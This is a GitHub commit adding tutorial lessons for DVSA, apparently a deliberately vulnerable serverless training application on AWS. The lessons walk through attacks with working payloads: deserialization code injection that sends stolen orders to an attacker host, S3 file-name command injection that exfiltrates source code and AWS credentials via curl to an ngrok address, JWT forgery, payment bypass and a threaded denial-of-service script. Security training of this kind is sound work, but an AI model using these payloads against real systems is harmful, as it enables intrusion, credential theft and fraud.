Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
aws lessons
  • Loading branch information
4ppsec committed Aug 23, 2019
1 parent 36115ad commit 38f55c7
Show file tree
Hide file tree
Showing 15 changed files with 560 additions and 0 deletions.
18 changes: 18 additions & 0 deletions AWS/LESSONS.md
@@ -0,0 +1,18 @@
# LESSONS
This tutorial assumes the reader has basic knowledge of serverless and security concepts. It is recommended to first review the [OWASP Serverless Top 10 project](https://www.owasp.org/index.php?title=OWASP_Serverless_Top_10_Project) and the [report](https://github.com/OWASP/Serverless-Top-10-Project/), reviewing common weaknesses in serverless architecture.

Please also note that this tutorial covers only a small portion of the vulnerabilities that exist in the DVSA and that you are encouraged to find **and document** more vulnerabilities that you find.

Good luck!


### [LESSON #1: Event Injection](LESSONS/LESSON_01.md)
### [LESSON #2: Broken Authentication](LESSONS/LESSON_02.md)
### [LESSON #3: Sensitive Data Exposure](LESSONS/LESSON_03.md)
### [LESSON #4: Insecure Cloud Configurations](LESSONS/LESSON_04.md)
### [LESSON #5: Broken Access Control](LESSONS/LESSON_05.md)
### [LESSON #6: Denial of Service (DoS)](LESSONS/LESSON_06.md)
### [LESSON #7: Over Privilged Functions ](LESSONS/LESSON_07.md)
### [LESSON #8: Logic vulnerabilities](LESSONS/LESSON_08.md)
### [LESSON #9: Vulnerable Dependencies](LESSONS/LESSON_09.md)
### [LESSON #10: Unhandles Exceptions](LESSONS/LESSON_10.md)
37 changes: 37 additions & 0 deletions AWS/LESSONS/LESSON_01.md
@@ -0,0 +1,37 @@
# LESSON #1: Event Injection

## (1.1) Code Injection via API Gateway
The application sends all request to an API GW (*`https://{string}.execute-api.{region}.amazonaws.com/{stage}/order`*).
All requests end up being handled by a Lambda function, which invokes another Lambda function based on the incoming request.

**This function is vulnerable to Code Injection**. The function uses an insecure de-serialization for the data in the request.

Using the following payload, it is possible to inject code that will be executed by the function.

`$$ND_FUNC$$_function (){}()`

For example, to get the orders of another user, we can send the payload:
```
{"action": "_$$ND_FUNC$$_function(){var aws=require(\"aws-sdk\");var lambda=new aws.Lambda();var p = {FunctionName: \"DVSA-ORDER-ORDERS\", InvocationType: \"RequestResponse\", Payload: JSON.stringify({\"user\": \"12312312-1233-1233-1233-123123123123\"})};lambda.invoke(p,function(e,d){ var h=require(\"http\");h.get(\"<ATTACKER_REMOTE_ADDRESS>\"+JSON.stringify(d));}); }()", "cart-id":""}
```

Where the *`12312312-1233-1233-1233-123123123123`* is the user-id of the user we want to steal the data from, and *`<ATTACKER_REMOTE_ADDRESS>`* is any address that we can send the data to. E.g. [ngrok](https://ngrok.com/).

As a result, we now have the user orders:

![alt ngrok](https://i.imgur.com/CAcywDz.png)

The above example is the least of problems you can cause with such an attack. Notice that there are also admin functions :)


- - -
## (1.2) Command Injection via S3 bucket
Event injections are not all about API calls and in serverless applications the source of the injection could be an: email (file, subject, etc.), an MQTT pub/sub, or any other cloud-resource event.

In this case, the DVSA is vulnerable to Command Injection via file name. The file is processed when uploaded to an S3 bucket. Since the bucket is configured insecurely, we can exploit it.

To learn about this exploit, visit [Lesson #4: Insecure Cloud Configuration](../LESSONS/LESSON_04.md).

- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

35 changes: 35 additions & 0 deletions AWS/LESSONS/LESSON_02.md
@@ -0,0 +1,35 @@
# LESSON #2: Broken Authentication

### (2.1) Open API
The DVSA uses a designated API call to process billing requests. However, the API is open to any call without authentication.

This allows malicious users to brute-force credit card numbers using the payment processing API:

![alt payment](https://i.imgur.com/YMquTz4.png)

![alt bf](https://i.imgur.com/FVxjwLR.png)

### (2.2) Broken Authentication Scheme

The DVSA uses AWS Cognito for authentication. The authorization header is a JSON Web Token (JWT) which holds all the user's information. However, the application does not verify the signature of the JWT and it is therefore possible to send requests and impersonate other users.

For example, sending the `{"action": "orders"}` request returns an user's orders:

![alt orders](https://i.imgur.com/iqsj7Bw.png)

If we decode the Authorization header, we get our own auth token:
![alt token](https://i.imgur.com/3NOqFbJ.png)

But, if we take the middle part, decode it with base, replace the username with the victim's username and re-encode it, we get:
![alt faketoken](https://i.imgur.com/Dkp8v80.png)

Sending the request now, will give us the orders of the victim:

![alt victim-orders](https://i.imgur.com/Vr9eufx.png)

![alt stolen-orders](https://i.imgur.com/1lR0jj3.png)


- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

20 changes: 20 additions & 0 deletions AWS/LESSONS/LESSON_03.md
@@ -0,0 +1,20 @@
# LESSON #3: Sensitive Information Disclosure

An attacker can leverage the [code injection vulnerability](../LESSONS/LESSON_01.md) to invoke an admin functionality that will disclose all the receipts from the S3 bucket.

Sending the following payload will invoke an admin function that will pack all the receipts within the specified year and month and will created a signed url to download them.
```
{"action": "_$$ND_FUNC$$_function(){var aws=require(\"aws-sdk\");var lambda=new aws.Lambda();var p = {FunctionName: \"DVSA-ADMIN-GET-RECEIPT\", InvocationType: \"RequestResponse\", Payload: JSON.stringify({\"year\": \"2018\", \"month\": \"12\"})};lambda.invoke(p,function(e,d){ var h=require(\"http\");h.get(\"http://0c971764.ngrok.io/lol?data=\"+JSON.stringify(d));}); }()"}
```

As a result:

![alt signed-url](https://i.imgur.com/yMkJhKi.png)


Pasting the url in the browser will download the receipts from the S3 bucket:

![alt receipts](https://i.imgur.com/OXDQC9K.png)

- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)
54 changes: 54 additions & 0 deletions AWS/LESSONS/LESSON_04.md
@@ -0,0 +1,54 @@

# LESSON #4: Insecure Cloud Configuration

The DVSA uses cloud storage (i.e. S3 bucket) to upload order receipts. After a payment is processed successfully, a receipt is issued and uploaded to the bucket. When the order is processed for shipment, the file is downloaded from the bucket, modified and uploaded back as a final format receipt that is sent to the user via email.

However, since the S3 is configured insecurely, it is possible to upload files to the bucket with any AWS account. For example, if you install the aws-cli, you can simply run the command:

`aws s3 cp /path/to/local/file s3://DVSA-RECEIPTS-BUCKET-{id}`

![alt s3-upload](https://i.imgur.com/FatzTQh.png)

*Note, that you won't be able to run `ls` with an account different than the account where the DVSA is deployed, since it is misconfigured with WRITE permissions, and not with READ. At least not yet :)*

Let's see how to exploit it:

1. If you completed at least one order, you will receive an email with a link to download the receipt. It should look something like that:

![alt receipt-sample](https://i.imgur.com/XwcHgF3.png)


You can notice that the path to the file in the bucket is the date. e.g. `2018/12/24/{receipt-uuid}.txt`.

2. So let's fake a receipt and see what happens. Using the aws-cli we can simply run the command:

```
aws s3 cp ~/empty 's3://dvsa-receipts-bucket/2020/20/20/null_;curl 0c971764.ngrok.io?data="$(ls)";echo x.raw' --acl public-read --profile hacker
```
(The *echo x.raw* at the end of the file name is used to trigger the function, which is only triggered when a .raw file is created).

If we follow the path (_cd;_ your way in), eventually we will get:
![alt ls](https://i.imgur.com/mu2ky2O.png)


3. We know the file's name, let's extract its code:
```
aws s3 cp ~/empty 's3://dvsa-receipts-bucket/2020/20/20/null_;curl 0c971764.ngrok.io?code="$(cd x; cd y; cd z; cat send-receipt-email.py.py | base64 --wrap=0)" echo x.raw' --acl public-read --profile hacker
```

We now have the code in Base64 (I cut out most of it for a better screenshot).
![alt b64-code](https://i.imgur.com/KcklwO0.png)


Let's decode: `echo <BASE64_STRING> | base64 --decode > /tmp/lambda.py`

![alt code](https://i.imgur.com/GD3YwJg.png)

We can now see the vulnerable code - os.system() - which uses the name of the uploaded file as part of the command.

You now have all the information to further exploit it, [stealing keys](../LESSONS/LESSON_05.md) or executing any other command.


- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

67 changes: 67 additions & 0 deletions AWS/LESSONS/LESSON_05.md
@@ -0,0 +1,67 @@
# LESSON #5: Broken Access Control

The DVSA application has some admin functions. Although these functions are not available through the standard API calls, the function that receives the API calls has permissions to invoke any function. Since the function is vulnerable to [code injection](../LESSONS/LESSON_01.md) it is possible to invoke admin functions using the standard API calls.

This means that by invoking the right function at the right time, we can skip the payment. But, first, we start with the normal flow:

- `{"action": "new", "cart-id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "items": { "<item-id>":<qty>, "<item-id>":<qty>, ... }}`

- `{"action": "shipping", "order-id": "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy", "data": {"address":"<address>", "email":"<email>", "name":"<name>"}}`

- `{"action": "billing", "order-id": "yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy", "data": {"ccn":"4242424242424242", "exp":"11/22", "cvv":"123 }}`

Now that we have an order that is missing only the payment, let's exploit.

The admin function receives an order ID and the parameters to update, so we can send something like this:

```
{
"body": {
"action": "update",
"order-id": "cc241d5c-f665-48db-8e55-4391f62465ba",
"item": {
"userId": "12312312-1233-1233-1233-123123123123",
"token": "aSD32d2ASd2",
"ts": "1545594489",
"itemList": {
"20": 2
},
"address": {
"name": "john doe",
"email": "secret@email.com",
"address": "po box 31337"
},
"total": 25,
"status": 120
}
}
}
```

Now, we have to pass it as part of the exploit itself:

```
{"action": "_$$ND_FUNC$$_function(){var p=JSON.stringify(' + new_order + ');var a=require(\\"aws-sdk\\");var l=new a.Lambda();var x={FunctionName:\\"DVSA-ADMIN-UPDATE-ORDERS\\",InvocationType:\\"RequestResponse\\",Payload:p};l.invoke(x, function(e,d){});}()"}
```

Which eventually looks like this:

```
{"action": "_$$ND_FUNC$$_function(){var p=JSON.stringify({\"headers\":{\"authorization\":\"eyJra ... l7g10i5Q\"}, \"body\":{\"action\":\"update\", \"order-id\": \"480e3996-e8a7-4fdb-bc12-94fdae1e14fb\", \"item\":{\"token\": \"VFqDWCgagMO7\", \"ts\": 1546482872, \"itemList\": {\"11\": 1, \"12\": 1}, \"address\": \"100 Fake st., NYC, USA\", \"total\": 74, \"status\": 120}}});var a=require(\"aws-sdk\");var l=new a.Lambda();var x={FunctionName:\"DVSA-ADMIN-UPDATE-ORDERS\",InvocationType:\"RequestResponse\",Payload:p};l.invoke(x, function(e,d){});}()"}
```

![alt stealing](https://i.imgur.com/FrzRrjS.png)

We got an error from the API function. But the database was updated with the new data. Since we did not issue a SQS notification for the payment, the receipt will be proccessed with a daily cron-job function. However, it is already possible to see it in the orders page.


Before:
![alt before](https://i.imgur.com/9nENtUW.png)

After:
![alt after](https://i.imgur.com/czspPpV.png)


- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

41 changes: 41 additions & 0 deletions AWS/LESSONS/LESSON_06.md
@@ -0,0 +1,41 @@
# LESSON #6: Denial of Service (DoS)

To avoid flooding the 3rd party payment processing (its not really 3rd-party, but think about it as a STRIPE), the DVSA is configured to allow only 10 concurrent invocations of the billing process.

This means that an attacker can cause a Denial of Service on payment processing in the applicaiton, simply by sending the billing request in at least 10 parallel threads.

This simply python code will exploit it (with sample data):

```python
import threading
import requests

def dos():
payload = '{ "action":"billing", "order-id": "9f51b1e1-eff9-4dc1-8e17-7ee19ba51272", "data": {"ccn": "4242424242424242", "exp": "11/2020", "cvv": "444"} }'
url = "https://qz0yy61905.execute-api.us-east-1.amazonaws.com/dev/order"
headers = {"Authorization": "eyJraWQiOiIyQ1dZekh0dTV..............BVVplWk9qenw"}

r = requests.post(url, data=payload, headers=headers)
print (r.text)
return


while True:
threading.Thread(target=dos).start()

```

As a result, any other user that will try to invoke this service will receive:
```
{
"message": "Rate Exceeded.",
"code": "TooManyRequestsException",
"time": "2018-12-22T23:25:29.935Z",
"requestId": "deec6aa7-0640-11e9-9e02-a529a60fefd1",
"statusCode": 429,
"retryable": false,
"retryDelay": 17.57835303415325
}
```
- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)
73 changes: 73 additions & 0 deletions AWS/LESSONS/LESSON_07.md
@@ -0,0 +1,73 @@
# LESSON #7: Over-Privileged Function

Maybe one of the most fundamental security vulnerabilities in serverless applications is over-privileged functions. [Previous research](https://www.protego.io/protego-labs-finds-nearly-all-serverless-application-functions-at-risk/) has found that almost all functions are configured with more permissions than what they actually need.

Let's see what we can do with that:

We already saw that one of the functions is vulnerable to command injection through an [insecure s3 configuration](../LESSONS/LESSON_04.md), so we can leverage that and steal the function's keys. By stealing the keys (AWS_SESSION_TOKEN, AWS_SECRET_ACCESS_KEY and AWS_ACCESS_KEY_ID), we will be able to assume the function's temporary execution role.

```
aws s3 cp ~/empty 's3://dvsa-receipts-bucket/2020/20/20/null_;b=`env|base64 --wrap=0`;curl 0c971764.ngrok.io?data=$b;echo x.raw' --profile hacker
```

It's not hard to find the relevant keys in the base64 string that we got:

![alt base64-keys](https://i.imgur.com/ig8iV2J.png)

Decoding them (`echo <BASE64> | base64 --decode`) will reveal (partial info):
```
AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=FQXXXXXXXXXXXXXXXPJnxYa8D85UCLwAXXXXXXXXXXXXXXXRUkQWDwu4NMqrE+dcRXXXXXXXXXXXXXXXrTB6PxZzyfw0pDFUJHXXXXXXXXXXXXXXXAFfF6kR5AjFSQd/SkjymXXXXXXXXXXXXXXXO+1JfHtJBFqwI7VnaHMcCoDp4O/WcXXXXXXXXXXXXXXXCNW886DrHxciDCXXXXXXXXXXXXXXXZt3k9f3WuwI/FfXXXXXXXXXXXXXXXp43gtQYe3IV1sCpPs/kUneXXXXXXXXXXXXXXXiZGU63V79bpu/Dt3fzO0eSHAO6ii4t9/gBQ==
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/DVSA-SEND-RECEIPT-EMAIL
LAMBDA_TASK_ROOT=/var/task
LD_LIBRARY_PATH=/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_LOG_STREAM_NAME=2018/12/23/[$LATEST]ce7961b403ba4b47806460db4bc62944
AWS_EXECUTION_ENV=AWS_Lambda_python2.7
AWS_LAMBDA_FUNCTION_NAME=DVSA-SEND-RECEIPT-EMAIL
PATH=/usr/local/bin:/usr/bin/:/bin:/opt/bin
SOURCE_EMAIL=tal+dvsa+noreply@protego.io
AWS_DEFAULT_REGION=us-east-1
PWD=/var/task
AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxI8g7+XkMv/6tuC7xxxxxxxxxx
LAMBDA_RUNTIME_DIR=/var/runtime
LANG=en_US.UTF-8
AWS_REGION=us-east-1
ORDERS_TABLE=DVSA-ORDERS-DB
AWS_ACCESS_KEY_ID=ASIAYXXXXXXXXXXXXXXX
PYTHONPATH=/var/runtime
_HANDLER=lambda_function.lambda_handler
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=256
```
Let's copy the relevant data into environment variables:
```
export AWS_SECRET_ACCESS_KEY = "..."
export AWS_ACCESS_KEY_ID = "..."
export AWS_SESSION_TOKEN = "..."
```

Or, into our AWS credentials - `~/.aws/credentials` (which is the default location):
![alt stolen-keys](https://i.imgur.com/tFXFZEj.png)

By default, temporary security credentials for an IAM user are valid for a maximum of 12 hours (and therefore, long gone in the screenshot). In this time frame, we can use these keys to run any AWS command that is aligned with the functions permissions. Since the function is (way) over-privileged, we can start stealing sensitive data and performing actions on the account.

For example:

(1) listing all files on s3:
![alt ls-bucket](https://i.imgur.com/Cg8cBYs.png)

(2) downloading a file from the bucket:
![alt download-receipt](https://i.imgur.com/3hMxfZP.png)

We can of course, also delete files. But, we are not limited to the S3! Let's explore further:

(3) leaking all users:
![alt leak-users](https://i.imgur.com/JVkreVB.png)

(4) orders from dynamodb:
![alt leak-orders](https://i.imgur.com/WdBSzVG.png)

And many more. I'll leave that to you to explore.

- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

45 changes: 45 additions & 0 deletions AWS/LESSONS/LESSON_08.md
@@ -0,0 +1,45 @@
# LESSON #8: Logic vulnerabilities
Logic vulnerabilities are usually a result of a poor or insecure design.

## (8.1) Race Condition

A typical TOCTOU vulnerability, allowing an attacker to steal from the DVSA by submitting out-of-order requests.

In a normal scenario, the user will arrive at the billing stage on which payment details are sent to the application, only after the order was concluded by the user, and all other data was received.

However, re-submitting the "update" request right after the "billing" request, might end up with paying for less than what we managed to order.

Let's try. Assuming that we already completed all the relevant data. We have only (1) item in our cart that costs $25:

![alt cart](https://i.imgur.com/8H60Bym.png)

We will now send a *billing* request, and right after it an *update* request:

![alt billing](https://i.imgur.com/pNHnDM5.png)


![alt update](https://i.imgur.com/zuKCYDb.png)


As a result, we paid $25, as can be seen in the billing request. However, the receipt shows that we ordered 5 items, instead of one:

```
Order: iEOXZ1jFEde8,
To:
Elisabeth Morty,
199 Square st., Oxford, UK
Items:
Adidas DRI 25 (5)
Total: $25
----------------------
Date: 2018-12-18 14:56
```

- - -
[ToC](../LESSONS/README.md) | [1](../LESSONS/LESSON_01.md) | [2](../LESSONS/LESSON_02.md) | [3](../LESSONS/LESSON_03.md) | [4](../LESSONS/LESSON_04.md) | [5](../LESSONS/LESSON_05.md) | [6](../LESSONS/LESSON_06.md) | [7](../LESSONS/LESSON_07.md) | [8](../LESSONS/LESSON_08.md) | [9](../LESSONS/LESSON_09.md) | [10](../LESSONS/LESSON_10.md)

0 comments on commit 38f55c7

Please sign in to comment.